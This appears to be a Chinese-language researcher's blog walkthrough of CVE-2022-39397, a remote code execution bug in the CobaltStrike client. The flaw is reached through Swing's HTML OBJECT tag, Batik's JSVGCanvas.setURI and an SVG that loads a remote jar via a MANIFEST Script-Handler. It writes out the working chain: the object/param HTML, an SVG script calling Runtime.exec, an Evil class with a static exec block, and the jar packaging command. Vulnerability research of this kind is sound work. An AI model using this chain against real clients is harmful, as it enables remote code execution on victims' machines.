前言
学习,据说是由XSS和Swing导致的RCE漏洞。
Java Swing
可以用于构建Java的图形化界面,似乎可以通过捕获beacon,与CobaltStrike服务的交互,最后在CobaltStrike客户端渲染的方式实现RCE。
测试用代码:
String html = "" +
"<html>" +
"<img src=x>" +
"</html>";
JFrame f = new JFrame("CVE-2022-39397");
JLabel l = new JLabel(html);
f.add(l);
f.setSize(300, 300);
f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
f.setVisible(true);
可以渲染出一张图片来:
漏洞分析
按照参考文章的说法,script之类的一些标签在Swing里面是无法加载的,所以要在Swing框架下找到新的利用方法,就像JSON/XML反序列化那样的某些危险标签或者标签里面的危险属性。
全局搜索一下HTML类,可以找到javax.swing.text.html.HTML类,可以看到里面存在一个getTag和一个getAttributeKey函数:
public static Tag getTag(String tagName) {
Tag t = tagHashtable.get(tagName);
return (t == null ? null : t);
}
下断点后调试可以发现解析html标签和img标签时会经过这个函数,找一下这个tagHashtable表中都有什么标签,可以看到在static静态代码块里面初始化了这个表:
for (int i = 0; i < Tag.allTags.length; i++ ) {
tagHashtable.put(Tag.allTags[i].toString(), Tag.allTags[i]);
StyleContext.registerStaticAttributeKey(Tag.allTags[i]);
}
找到Tag.allTags:
static final Tag allTags[] = {
A, ADDRESS, APPLET, AREA, B, BASE, BASEFONT, BIG,
BLOCKQUOTE, BODY, BR, CAPTION, CENTER, CITE, CODE,
DD, DFN, DIR, DIV, DL, DT, EM, FONT, FORM, FRAME,
FRAMESET, H1, H2, H3, H4, H5, H6, HEAD, HR, HTML,
I, IMG, INPUT, ISINDEX, KBD, LI, LINK, MAP, MENU,
META, NOBR, NOFRAMES, OBJECT, OL, OPTION, P, PARAM,
PRE, SAMP, SCRIPT, SELECT, SMALL, SPAN, STRIKE, S,
STRONG, STYLE, SUB, SUP, TABLE, TD, TEXTAREA,
TH, TITLE, TR, TT, U, UL, VAR
};
可以看到这里有一个可疑的标签OBJECT,继续调试看看Swing怎么处理这个标签,网上追溯可以看到:
public TagElement (Element elem, boolean fictional) {
this.elem = elem;
htmlTag = HTML.getTag(elem.getName());
if (htmlTag == null) {
htmlTag = new HTML.UnknownTag(elem.getName());
}
insertedByErrorRecovery = fictional;
}
保存进一个对象里,然后再通过该对象的getHTMLTag函数返回,跟这个htmlTag相关联的还有一个elem,继续调试看看这个elem是什么:
一个Element对象,但是里面没有什么特别有意思的数据。
寻思着对标签进行分别处理多半要进行标签名的判读,所以全局搜索HTML.Tag.OBJECT,找到渲染时使用的object视图类:
else if (kind == HTML.Tag.OBJECT) {
return new ObjectView(elem);
}
里面只有三个函数,其中getUnloadableRepresentation函数没有用,setParameters函数通过createComponent调用,于是给createComponent函数下一个断点,看看这个函数,前两句是:
AttributeSet attr = getElement().getAttributes();
String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);
看起来可以根据classid属性指定一个类名,修改一下输入HTML继续调试:
String html = "" +
"<html>" +
"<object classid='java.lang.Runtime'>" +
"</html>";
然后是:
try {
ReflectUtil.checkPackageAccess(classname);
Class c = Class.forName(classname, true,Thread.currentThread().
getContextClassLoader());
Object o = c.newInstance();
if (o instanceof Component) {
Component comp = (Component) o;
setParameters(comp, attr);
return comp;
}
} catch (Throwable e) {
// couldn't create a component... fall through to the
// couldn't load representation.
}
简单来说就是通过公有的无参构造函数实例化了一个对象,这里写入的Runtime类就因为没有这种构造函数失败了,这里是肯定无法利用的。另外如果输入的类名继承自Component类,则会将object标签中的数据作为该对象的属性,并通过setParameters函数进行反射写入:
// found a property parameter
String value = (String) v;
Method writer = props[i].getWriteMethod();
if (writer == null) {
// read-only property. ignore
return; // for now
}
Class[] params = writer.getParameterTypes();
if (params.length != 1) {
// zero or more than one argument, ignore
return; // for now
}
Object [] args = { value };
try {
MethodUtil.invoke(writer, comp, args);
} catch (Exception ex) {
System.err.println("Invocation failed");
// invocation code
}
以AWTAnimationPanel2类为例,setParameters函数会通过getPropertyDescriptors函数获取其所有属性,至于是getter还是真的属性另说,此时可以注意到属性的值是通过和获取classid同样的方法从标签获取的,且只支持String类型的属性:
Object v = attr.getAttribute(props[i].getName());
if (v instanceof String) {
...
}
修改一下HTML,加上name属性:
String html = "" +
"<html>" +
"<object classid='com.sun.deploy.uitoolkit.impl.awt.AWTAnimationPanel2' name='Twings'>" +
"</html>";
发现这样添加的attr不是String,类型不符合导致在获取属性的时候失败:
Object getLocalAttribute(Object nm) {
if (nm == StyleConstants.ResolveAttribute) {
return resolveParent;
}
Object[] tbl = attributes;
for (int i = 0; i < tbl.length; i += 2) {
if (nm.equals(tbl[i])) {
return tbl[i+1];
}
}
return null;
}
属性里不行,那应该是从HTML的更下一级标签里面找了,
在ObjectView类的注释里可以看到object标签的使用示例:
<pre>
<object classid="javax.swing.JLabel">
<param name="text" value="sample text">
</object>
</pre>
很明显name代表属性名,value代表值,试一试:
String html = "" +
"<html>" +
"<object classid='com.sun.deploy.uitoolkit.impl.awt.AWTAnimationPanel2'>" +
"<param name='name' value='Twings'>" +
"</object>" +
"</html>";
调试一下,可以看到反射调用setter顺利触发了:
漏洞利用
按照参考文章所说,利用所用的类在CobaltStrike里面,所以先下载好CobaltStrike。
随便从freebuf找了一个CobaltStrike,将cobaltstrike.jar放到项目文件夹里,并配置到项目的libraries中。
根据参考文章,利用函数为JSVGCanvas类的setURI函数:
public void setURI(String var1) {
String var2 = this.uri;
this.uri = var1;
if (this.uri != null) {
this.loadSVGDocument(this.uri);
} else {
this.setSVGDocument((SVGDocument)null);
}
this.pcs.firePropertyChange("URI", var2, this.uri);
}
是一个通过输入的URL加载SVG文件的函数。
按照参考文章,SVG文件可以执行JavaScript代码,仿写一下:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
java.lang.Runtime.getRuntime().exec("calc.exe");
</script>
</svg>
参考文章里的写法会在DOCTYPE部分产生网络问题,这样写就行了。
然后会遇到下一个问题:
看起来是由于依赖中缺失类导致的,虽然跟参考文章的缺失类不一样(大概是因为我用的是只有一个cobaltstrike.jar文件的CobaltStrike环境),根据参考文章,这一步可以通过JavaScript其他用法解决。
关注SVG所用的JavaScript解析函数BaseScriptingEnvironment类的loadScripts函数,可以看到一些有意思的东西:
String var24 = XLinkSupport.getXLinkHref(var5);
ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24);
this.checkCompatibleScriptURL(var6, var25);
URL var29 = null;
try {
var29 = new URL(this.docPURL.toString());
} catch (MalformedURLException var18) {
}
DocumentJarClassLoader var26 = new DocumentJarClassLoader(new URL(var25.toString()), var29);
URL var28 = var26.findResource("META-INF/MANIFEST.MF");
if (var28 != null) {
Manifest var30 = new Manifest(var28.openStream());
var13 = var30.getMainAttributes().getValue("Script-Handler");
if (var13 != null) {
ScriptHandler var35 = (ScriptHandler)var26.loadClass(var13).newInstance();
...
}
}
可以看到,这里根据SVG中的其他数据从一个远程URL加载了一个jar,并根据其中MANIFEST.MF文件的Script-Handler值加载并实例化了一个远程对象,很明显可以通过加载恶意static代码块的方式实现攻击。
看看要求,首先是type为application/java-archive:
AbstractElement var5 = (AbstractElement)var2.item(var4);
String var6 = var5.getAttributeNS((String)null, "type");
if (var6.length() == 0) {
var6 = "text/ecmascript";
}
String var13;
if (var6.equals("application/java-archive")) {
...
}
然后是URL的来源:
// loadScripts
String var24 = XLinkSupport.getXLinkHref(var5);
ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24);
// getXLinkHref
public static String getXLinkHref(Element var0) {
return var0.getAttributeNS("http://www.w3.org/1999/xlink", "href");
}
先写一个恶意类:
package org.example;
public class Evil {
static {
try {
java.lang.Runtime.getRuntime().exec("calc.exe");
}catch (Exception e) {
// pass
}
}
}
然后编译成class文件,再写一个MANIFEST.MF:
Script-Handler: Evil
打包:
jar -cvfm Evil.jar MANIFEST.MF Evil.class
然后报错了:
命令行里的居然是Java 11,重新配置一下Java再试试:
java.lang.NoClassDefFoundError: Evil (wrong name: org/example/Evil)
改改MANIFEST.MF再来,没弹出来,再改改把package删掉:
public class Evil {
static {
try {
java.lang.Runtime.getRuntime().exec("calc.exe");
}catch (Exception e) {
// pass
}
}
}
尝试一下:
OK了。
题外话
关于类加载器,在加载FXApplet2Adapter这种类的时候:,如
Class.forName("com.sun.deploy.uitoolkit.impl.fx.FXApplet2Adapter");
会报错:
Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/deploy/uitoolkit/Applet2Adapter
原因是FXApplet2Adapter在ext/jfxrt.jar这个文件里面,而其父类Applet2Adapter在deploy.jar里面,能够加载Applet2Adapter的类加载器是用于加载FXApplet2Adapter的类加载器的父类。这就导致了FXApplet2Adapter在发现依赖于Applet2Adapter无法加载到这个类,因为它自身的类路径里没有deploy.jar,也没有父类可以委派。